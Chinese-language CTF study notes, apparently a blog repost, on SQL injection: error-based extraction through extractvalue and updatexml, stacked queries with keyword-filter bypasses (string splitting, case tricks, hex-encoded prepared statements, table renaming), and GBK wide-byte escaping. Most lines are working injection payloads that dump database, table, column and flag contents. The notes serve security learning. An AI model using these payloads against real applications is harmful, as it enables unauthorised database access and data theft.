sql注入
作者:互联网
报错注入
为什么需要报错注入?
在实际场景中,如果没有一个合适的数据返回点,而是仅仅带入sql数据库进行查询,就需要报错注入。
SELECT * FROM users WHERE id='$id' LIMIT 0,1正常进行绕过,但是在页面中没有数据回显,断定为报错注入
1, extractvalue
and extractvalue(0x7e,concat(0x7e,(sql_inject)))
可以理解为,非法传参,让后台xml故意报错。
0x7e的具体含义: 0x7e=~
利用这种方式,对后台进行一个排序,指定第一个参数为null,让他故意报错,将第二个参数中的语句带入数据库执行,最后报错显示执行的结果。
实验:
id= 1 and extractvalue(null,concat(0x7e,(select database()),0x7e))
XPATH syntax error: '-security-'
进一步获取表名,列名,数据。。。
在这种报错注入情况下,我们只能去使用select而并非union select,他们的语句执行有什么区别么?
获取表名的sql命令(需要插入报错函数中)
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
select table_name from information_schema.tables where table_schema="security"
返回Subquery returns more than 1 row
应该怎么去处理?
select table_name from information_schema.tables where table_schema='security' limit 0,1 数据库中的排序limit0,1 表格中数据第一项
后面报数据,爆名
很酷炫的玩法:
一般,在实际情况下,一个公司的数据库可能有几百上千条, 这时,再用limit0,1 就没偷了,应该怎么去处理?
使用burp的intruder模块来进行处理
2, updatexml
and 1=(updatexml(1,concat(0x7e,(sql inject)),1))
updatexml名字就很明显,这个函数,是用来更新xml数据的,但是,我们非法传参,让它故意报错,执行我们的sql语句。
使用函数CONCAT_WS()。使用语法为:CONCAT_WS(separator,str1,str2,…)
二次整理
获取库名
?1 and extractvalue(null,concat(0x7e,(select database()),0x7e))
获取表名
?1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema="sqli" limit 0,1),0x7e)) //通过调整limit
获取列名
?1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_name="flag1" limit 0,1),0x7e))
获取内容
?1 and extractvalue(null,concat(0x7e,(select flag from flag1 limit 0,1),0x7e))
——————————————————————————————————————————————————
数据库结构是
库名 sqli
表名 id data flag1
列名 1,2,3 news flag
内容 xxx xxx ctfhub....
——————————————————————————————————————————————————
extractvalue()
extractvalue() :对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))
使用concat()拼接 ‘ / ‘ 效果相同,
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))
这里在‘anything’中查询不到 位置是 /database()的内容,
但也没有语法错误,不会报错,下面故意写入语法错误:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。
有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
这里查询前5位示意:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
updatexml()
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
报错方式相同:
select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))
同样是32位查询。
原文 https://blog.csdn.net/zpy1998zpy/article/details/80631036
缺点:回显有长度限制,可以用substr()截取长度
?id=a or updatexml(1,concat(0x7e,substr((select group_concat(flag) from sds_fl9g),20,30),0x7e),1)#
堆叠注入
正则匹配区分大小写(因为能区分,所以大写小写为一个字母)
正则匹配了select,可考虑堆叠注入
方法一拼接
?id=-1';show tables --+
爆表
?id=-1';show columns from `表名` --+
爆列
?id=-1';set @sql = CONCAT('se','lect * from `列名`;');prepare asd from @sql;execute asd;#
爆字段
拆分开
-1';
set @sql = CONCAT('se','lect * from `列名`;');
prepare asd from @sql;
execute asd; #
注:strstr函数过滤 无法区分大小写(因为不能区分,所以大写和小写分开,为两个字母) 可通过大小写来绕过
1、预处理
set:设置预处理的语句
prepare:引用预处理的语音
execute:执行语句
-1'; sEt @sql=concat('sel','ect * from `列名`;');prEpare asd from @sql;execute asd;#
asd自己定义的,不要设置为数字。
方法二rename
之前查询了words发现了data字段,表明了你之前输入1,2,3查询的信息都在data里
所以可以将含flag的表改为words,将words改成任意名字。再将列flag改为id
-1';alter table words rename to asd;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
最后输入1' or 1=1#
方法三16进制编码
所以先将select * from `1919810931114514`进行16进制编码
再通过构造payload得
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
宽字节注入
在使用PHP连接MySQL的时候,
当设置“setcharacter_set_client = gbk”时会导致一个编码转换的问题,
也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,
注入参数里带入% DF%27,即可把(%5C)吃掉,举个例子。
即 在数据包传入服务器后,服务器对数据包查询部分参数进行转义处理,
但是当Php将sql查询参数传给mysql时,由于配置问题,导致会进行一次GBK编码,而编码转换导致转义符号被吃掉,从而绕过\转义符号,例如%df\’将被转化为x(一个汉字)’,从而可以闭合sql语句
当提交
id=1' and 1=1%23时,
MySQL的运行的SQL语句为
select * from user where id ='1\' and 1=1#'
很明显这是没有注入成功的,
而当我们提交
`
id=1%df' and 1=1%23
`
MySQL的运行的SQL语句为
```select * from user where id ='1運' and 1=1#'```
我们这里的宽字节注入是利用的MySQL的一个特性,
MySQL的在使用GBK编码的时候,
会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。
这就是MySQL的的特性,
因为GBK是多字节编码,
他认为两个字节代表一个汉字,
所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。
id=%df%27%20union%20select%201,%20database()%23
id=%df%27 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()%23
id=%df%27 union select 1,group_concat(column_name)from information_schema.columns where table_name=ctf4%23
id=%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23
id=%df%27 union select 1,group_concat(flag) from ctf4%23
标签:0x7e,select,sql,table,where,id,concat,注入 来源: https://www.cnblogs.com/IceSeclude/p/16421468.html